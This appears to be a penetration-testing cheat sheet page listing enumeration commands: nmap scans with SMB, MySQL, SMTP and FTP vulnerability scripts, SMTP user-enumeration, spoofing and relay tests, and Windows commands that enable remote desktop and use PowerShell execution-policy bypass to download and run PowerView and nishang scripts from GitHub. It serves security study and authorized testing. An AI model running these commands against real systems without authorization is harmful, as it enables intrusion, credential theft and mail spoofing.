Enumeration

General Enumeration:

nmap -vv -Pn -A -sC -sS -T 4 -p- 10.0.0.1

Web Enumeration:

dirb http://192.168.0.1/usr/share/wordlists/dirb/common.txt
nikto –host http://192.168.0.1

Web Ports 80, 8080 etc. open

SMB\RPC Enumeration:

enum4linux 10.0.0.1
nmap –script=smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse,smbv2-enabled.nse 192.168.0.1

Mysql Enumeration:

nmap -sV -Pn -vv –script=mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 192.168.0.1 -p 3306

SMTP Enumeration:

nmap –script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 192.168.0.1

  • Port 25 open

    • Fingerprint server

      • telnet ip_address 25 (banner grab)

    • Mail Server Testing

      • Enumerate users

        • VRFY username (verifies if username exists - enumeration of accounts)

        • EXPN username (verifies if username is valid - enumeration of accounts)

      • Mail Spoof Test

        • HELO anything MAIL FROM: spoofed_address RCPT TO:valid_mail_account DATA . QUIT

      • Mail Relay Test

        • HELO anything

          • Identical to/from - mail from: <nobody@domain> rcpt to: <nobody@domain>

          • Unknown domain - mail from: <user@unknown_domain>

          • Domain not present - mail from: <user@localhost>

          • Domain not supplied - mail from: <user>

          • Source address omission - mail from: <> rcpt to: <nobody@recipient_domain>

          • Use IP address of target server - mail from: <user@IP_Address> rcpt to: <nobody@recipient_domain>

          • Use double quotes - mail from: <user@domain> rcpt to: <"user@recipent-domain">

          • User IP address of the target server - mail from: <user@domain> rcpt to: <nobody@recipient_domain@[IP Address]>

          • Disparate formatting - mail from: <user@[IP Address]> rcpt to: <@domain:nobody@recipient-domain>

          • Disparate formatting2 - mail from: <user@[IP Address]> rcpt to: <recipient_domain!nobody@[IP Address]>

    • Examine Configuration Files

      • sendmail.cf

      • submit.cf

FTP Enumeration:

 nmap –script=ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 192.168.0.1

Is port 21 open?

Windows Enumeration:

  • Enable Remote Desktop (requires administrative privileges)

    • set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0

  • Enable Firewall for Remote Desktop

    • Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

  • Add a firewall rule

    • powershell.exe -command New-NetFirewallRule -s “Allow Inbound Port 80" -Direction Inbound –LocalPort 80 -Protocol TCP -Action Allow powershell.exe -command New-NetFirewallRule DisplayName"Block Outbound Port 80" -Direction Outbound –LocalPort 80 -Protocol TCP -Action Block

  • View all services

    • powershell.exe -command Get-Service

  • Restart service

    • powershell.exe -command Restart-Service

  • Configure the DNS server

    • powershell.exe -command Get-Service SetDNSClientServerAddress -InterfaceAlias "Ethernet"-ServerAddresses 8.8.8.8

  • Get a Process Listing

    • powershell.exe -command Get-Process

  • Get a list of all computers from Active Directory

    • Powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-NetComputers

  • Collection of information from the system, registries, and other information

    • Powershell.exe -exec bypass IEX "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/nishang/master/Gather/GetInformation.ps1'); Get-Information"

Previous802-11 WirelessNextPayloads

Last updated